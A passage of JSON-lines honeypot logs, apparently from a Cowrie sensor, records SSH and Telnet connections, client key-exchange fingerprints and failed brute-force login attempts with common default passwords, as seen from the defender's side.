penssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.218021Z","src_ip":"31.40.204.166","session":"aa485b92c82f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6891304e52c9","protocol":"telnet","message":"New connection: 152.42.224.71:42384 (10.17.0.5:23) [session: 6891304e52c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.651076Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.822116Z","src_ip":"31.40.204.166","session":"aa485b92c82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:02.128337Z","src_ip":"37.233.85.71","session":"123623815955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.426127433776855,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:02.617829Z","src_ip":"152.42.224.71","session":"e844ff8a2627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:03.017303Z","src_ip":"31.40.204.166","session":"aa485b92c82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.18742752075195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:03.325901Z","src_ip":"152.42.224.71","session":"154aa6df280e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.414979457855225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:04.921108Z","src_ip":"152.42.224.71","session":"dff94cea6051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42392,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ac779f00c4","protocol":"telnet","message":"New connection: 152.42.224.71:42392 (10.17.0.5:23) [session: 80ac779f00c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:05.091862Z"}
{"eventid":"cowrie.session.closed","duration":31.568871021270752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:05.253947Z","src_ip":"152.42.224.71","session":"1e20c7d28ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00322723388672,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:06.855664Z","src_ip":"152.42.224.71","session":"8a7c3bd2c24e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.02957248687744,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:08.304051Z","src_ip":"152.42.224.71","session":"960b7a40d20b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.51535415649414,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:08.848692Z","src_ip":"152.42.224.71","session":"955cbf78220c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.098931074142456,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:09.413610Z","src_ip":"152.42.224.71","session":"2bffd6cd2af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46784,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0c143ddc1a","protocol":"ssh","message":"New connection: 31.40.204.166:46784 (159.203.135.109:22) [session: aa0c143ddc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:12.618464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:12.623435Z","src_ip":"31.40.204.166","session":"aa0c143ddc1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:12.785077Z","src_ip":"31.40.204.166","session":"aa0c143ddc1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:13.311306Z","src_ip":"31.40.204.166","session":"aa0c143ddc1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":40222,"dst_ip":"10.17.0.5","dst_port":22,"session":"277d0a845f92","protocol":"ssh","message":"New connection: 154.16.115.163:40222 (10.17.0.5:22) [session: 277d0a845f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:13.980756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:13.985325Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.012830Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:c6:a3:a9:c3:33:e6:f4:c2:71:61:79:f9:87:2a:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5XVat4Rv/jq7HzudFM+ZitmWbTnIGDt1HrWNk35cnntVhOgkP3CSf4pl9ob+RJJ/ux4ElnPTbK3CfYBwhWwbtxIbyHGsuVzwM+zNE0iRltk2sKDM5xiS9HtDmWl8vWMiqVr4zdVvZg25eaKJ0AGdbbQBEv+7ZeJFkxqZJweonECGcA1CkkUOpS7uhp1nqlSzCzl99y3dApDch2Bt39/itJUT46MC/u3S+yD9482m+SCm33O/MJGtVg0cUv7kHMA8BWmYr83ABS51h2IrZg/dI7Tjjh0kY47VCQxBmN6WmI0Eq6d2lE4SZe9kP5kf9XPsg5STnLwJ1oZ6n7NnodCeL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:c6:a3:a9:c3:33:e6:f4:c2:71:61:79:f9:87:2a:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.351167Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:c6:a3:a9:c3:33:e6:f4:c2:71:61:79:f9:87:2a:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5XVat4Rv/jq7HzudFM+ZitmWbTnIGDt1HrWNk35cnntVhOgkP3CSf4pl9ob+RJJ/ux4ElnPTbK3CfYBwhWwbtxIbyHGsuVzwM+zNE0iRltk2sKDM5xiS9HtDmWl8vWMiqVr4zdVvZg25eaKJ0AGdbbQBEv+7ZeJFkxqZJweonECGcA1CkkUOpS7uhp1nqlSzCzl99y3dApDch2Bt39/itJUT46MC/u3S+yD9482m+SCm33O/MJGtVg0cUv7kHMA8BWmYr83ABS51h2IrZg/dI7Tjjh0kY47VCQxBmN6WmI0Eq6d2lE4SZe9kP5kf9XPsg5STnLwJ1oZ6n7NnodCeL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.355201Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:9e:83:82:0c:2a:ff:f7:e6:8a:32:f9:55:3e:5c:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Ciiy3yLnKnkjEj5R26trvr4I+VhpA8oglMo035cbj3t7zpAt1EY5hKgPh2FLnbeDB/qLoKWle6DD/EW++mWPUIaihTaYogGrYaHSCgjxlKCyXuoFGEc+8tcHIlBgUTdlx0DY/ufGl0L0FdXbGRcr879SUDxQcTeXQ++4uuMmC/Db+50NxKrV/S+NMmoYW6HWGnbuDtVS8OJWxyWGzgAzw2lAy0rmCMgjC/ro9gc/VQ19EDMURXybXiWVns04myqEZR4bhWRVJ80CUs0ucpwQlylQWuoOa4GBgiwaR9sh0N11w5KZVG9TNzN7zJlhJS3X9ODRgRldNYTI6um/nYMT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:9e:83:82:0c:2a:ff:f7:e6:8a:32:f9:55:3e:5c:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.383013Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:9e:83:82:0c:2a:ff:f7:e6:8a:32:f9:55:3e:5c:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Ciiy3yLnKnkjEj5R26trvr4I+VhpA8oglMo035cbj3t7zpAt1EY5hKgPh2FLnbeDB/qLoKWle6DD/EW++mWPUIaihTaYogGrYaHSCgjxlKCyXuoFGEc+8tcHIlBgUTdlx0DY/ufGl0L0FdXbGRcr879SUDxQcTeXQ++4uuMmC/Db+50NxKrV/S+NMmoYW6HWGnbuDtVS8OJWxyWGzgAzw2lAy0rmCMgjC/ro9gc/VQ19EDMURXybXiWVns04myqEZR4bhWRVJ80CUs0ucpwQlylQWuoOa4GBgiwaR9sh0N11w5KZVG9TNzN7zJlhJS3X9ODRgRldNYTI6um/nYMT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.386982Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:0f:d9:60:3b:89:42:20:0b:44:09:2d:90:bd:f8:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoxlGg+BgLK3rFKCfXXjVqwXj1WV3/UhIsIk8H+ycDEOiDfc+oo5gi5ScJsV2LQ9tX+t+gbILzAt1FXbrrht9yRqyuz7lMwYj+U+sL9MS4A072uNZBnNUAAxC3ctDLzmiR5k9lEHtu8FuYZx6zgY+dUiwpy0QKzk5Gg8G06QPWakdOLCGaBHEvtwtbVb+5LWTq7cxJIktBYey4FIYcQpUlUiFXriIS1WWAudk4MY5QXDjmYi6pteP0JiQl8grhQRyAbTGlIh+n3ea/C+wsM+My1DDSLFXN5pGM3swaQJ05xkPE8TMzeWsUw12VyaErlC++iMuYD6w3UIIK6I1XCqBX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:0f:d9:60:3b:89:42:20:0b:44:09:2d:90:bd:f8:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.414547Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:0f:d9:60:3b:89:42:20:0b:44:09:2d:90:bd:f8:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoxlGg+BgLK3rFKCfXXjVqwXj1WV3/UhIsIk8H+ycDEOiDfc+oo5gi5ScJsV2LQ9tX+t+gbILzAt1FXbrrht9yRqyuz7lMwYj+U+sL9MS4A072uNZBnNUAAxC3ctDLzmiR5k9lEHtu8FuYZx6zgY+dUiwpy0QKzk5Gg8G06QPWakdOLCGaBHEvtwtbVb+5LWTq7cxJIktBYey4FIYcQpUlUiFXriIS1WWAudk4MY5QXDjmYi6pteP0JiQl8grhQRyAbTGlIh+n3ea/C+wsM+My1DDSLFXN5pGM3swaQJ05xkPE8TMzeWsUw12VyaErlC++iMuYD6w3UIIK6I1XCqBX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.418538Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d7:26:a7:55:f5:f1:14:60:dc:fc:8b:e9:46:f9:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3n0KXhZBR4JQNbAGnQ6R+Kkp6/z4JEguZRXYku61mZlUdhwVV3A6W+AC9ZxVaLdamN827XFbE9IU2IiI0rAVwkH6/ige/gxVtDLtyHx1HVpmgJt1exqPIL8BkT6B6yY/1F0s6fA7XziUdSl8sjTgkYaqtVJw1+ANZjQ/WWjbYg92A+ZeGOq2Gz7OwS6Kkr4c2jtWFbETajCDeQjayqjIeTPH8KqFMGCqFOo6ED9D17ujZNc9rMPfF/zNGdLZFbt+VOCYZXqFDkjVvbqpwbAqJqdR12LFkVIpdr8KGt0xvdU74cBIIxCkoj8Nssw1IenBH7WzIHDEbuWpkoCmxrBpbVjEnm8kkrrzHm5utL15yI/curoeAvC7m6G3DpEqomOS2cW0yx/IGEt8iGt3PGJ6XDHT4xa96QTi7YmLtsdSvkm6CNlSAitu/O42FCpcv4o8Feov52Z2cyxMjepp+oJNG66xoufqjaBe8YSOYOUtBmsyCxsp2QrGc4nQXmuK2EuxA9HiBUBRpdyrnUnE6fVvKTVgFdsAtgWHtnMkIZlb9fzvjQe2KJeAdutQIuiBVwo6PCSmV4e52ZmpYh7E4g8S1PigrVNqyx+sVKq2o3ebvhyXahffe/mqHclmCUqga5mhue7CQ0QBaDSgiQV9teW4qVGnLBwF32MWR7j5QPKbh+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:d7:26:a7:55:f5:f1:14:60:dc:fc:8b:e9:46:f9:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.448599Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d7:26:a7:55:f5:f1:14:60:dc:fc:8b:e9:46:f9:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3n0KXhZBR4JQNbAGnQ6R+Kkp6/z4JEguZRXYku61mZlUdhwVV3A6W+AC9ZxVaLdamN827XFbE9IU2IiI0rAVwkH6/ige/gxVtDLtyHx1HVpmgJt1exqPIL8BkT6B6yY/1F0s6fA7XziUdSl8sjTgkYaqtVJw1+ANZjQ/WWjbYg92A+ZeGOq2Gz7OwS6Kkr4c2jtWFbETajCDeQjayqjIeTPH8KqFMGCqFOo6ED9D17ujZNc9rMPfF/zNGdLZFbt+VOCYZXqFDkjVvbqpwbAqJqdR12LFkVIpdr8KGt0xvdU74cBIIxCkoj8Nssw1IenBH7WzIHDEbuWpkoCmxrBpbVjEnm8kkrrzHm5utL15yI/curoeAvC7m6G3DpEqomOS2cW0yx/IGEt8iGt3PGJ6XDHT4xa96QTi7YmLtsdSvkm6CNlSAitu/O42FCpcv4o8Feov52Z2cyxMjepp+oJNG66xoufqjaBe8YSOYOUtBmsyCxsp2QrGc4nQXmuK2EuxA9HiBUBRpdyrnUnE6fVvKTVgFdsAtgWHtnMkIZlb9fzvjQe2KJeAdutQIuiBVwo6PCSmV4e52ZmpYh7E4g8S1PigrVNqyx+sVKq2o3ebvhyXahffe/mqHclmCUqga5mhue7CQ0QBaDSgiQV9teW4qVGnLBwF32MWR7j5QPKbh+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.455682Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:46:fa:8e:fa:d2:bb:25:cb:73:71:6d:b3:bd:55:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkvYbVLjfG1FUPBA1+ZLi3uXhMCzMdLBmuWCMn/YX0W597/ov8+FGnZRhZ1rLu+LYVhU5v9ore7D9+E2Y+McMVTI0cgm/QcyVSdIEpu8+l8fklByx0tJz5c52ivvlZxDz8AeDP2M0U/AVUp5JnXWyVgbOT8Gniq+gSzcTnZiDRWjkx0bEs5LdTCbihFXOji8x7hfE2we3xZkhLNWzZmmUKE13d7J6RlsxJm0juwS2nUVFGSOsbBoCPpgB6nJU5zJHDMpe3aYheCkFyvRTD5XO8ZKEr9a2ux8hSsSIlDLoqJTq0kynboofPowkUaqZZz7QGfUG2ZHG+Tbqw86Hfnmcl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:46:fa:8e:fa:d2:bb:25:cb:73:71:6d:b3:bd:55:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.484440Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:46:fa:8e:fa:d2:bb:25:cb:73:71:6d:b3:bd:55:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkvYbVLjfG1FUPBA1+ZLi3uXhMCzMdLBmuWCMn/YX0W597/ov8+FGnZRhZ1rLu+LYVhU5v9ore7D9+E2Y+McMVTI0cgm/QcyVSdIEpu8+l8fklByx0tJz5c52ivvlZxDz8AeDP2M0U/AVUp5JnXWyVgbOT8Gniq+gSzcTnZiDRWjkx0bEs5LdTCbihFXOji8x7hfE2we3xZkhLNWzZmmUKE13d7J6RlsxJm0juwS2nUVFGSOsbBoCPpgB6nJU5zJHDMpe3aYheCkFyvRTD5XO8ZKEr9a2ux8hSsSIlDLoqJTq0kynboofPowkUaqZZz7QGfUG2ZHG+Tbqw86Hfnmcl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.488863Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.498993Z","src_ip":"31.40.204.166","session":"aa0c143ddc1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:14.517673Z","src_ip":"154.16.115.163","session":"277d0a845f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59378,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e0d780d0dbe","protocol":"ssh","message":"New connection: 51.250.105.222:59378 (159.203.135.109:22) [session: 1e0d780d0dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:15.804803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:15.809785Z","src_ip":"51.250.105.222","session":"1e0d780d0dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:15.940898Z","src_ip":"51.250.105.222","session":"1e0d780d0dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"33333333","message":"login attempt [root/33333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:16.341506Z","src_ip":"51.250.105.222","session":"1e0d780d0dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:17.474526Z","src_ip":"51.250.105.222","session":"1e0d780d0dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7286ba4ee252","protocol":"telnet","message":"New connection: 152.42.224.71:50842 (10.17.0.5:23) [session: 7286ba4ee252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:19.861054Z"}
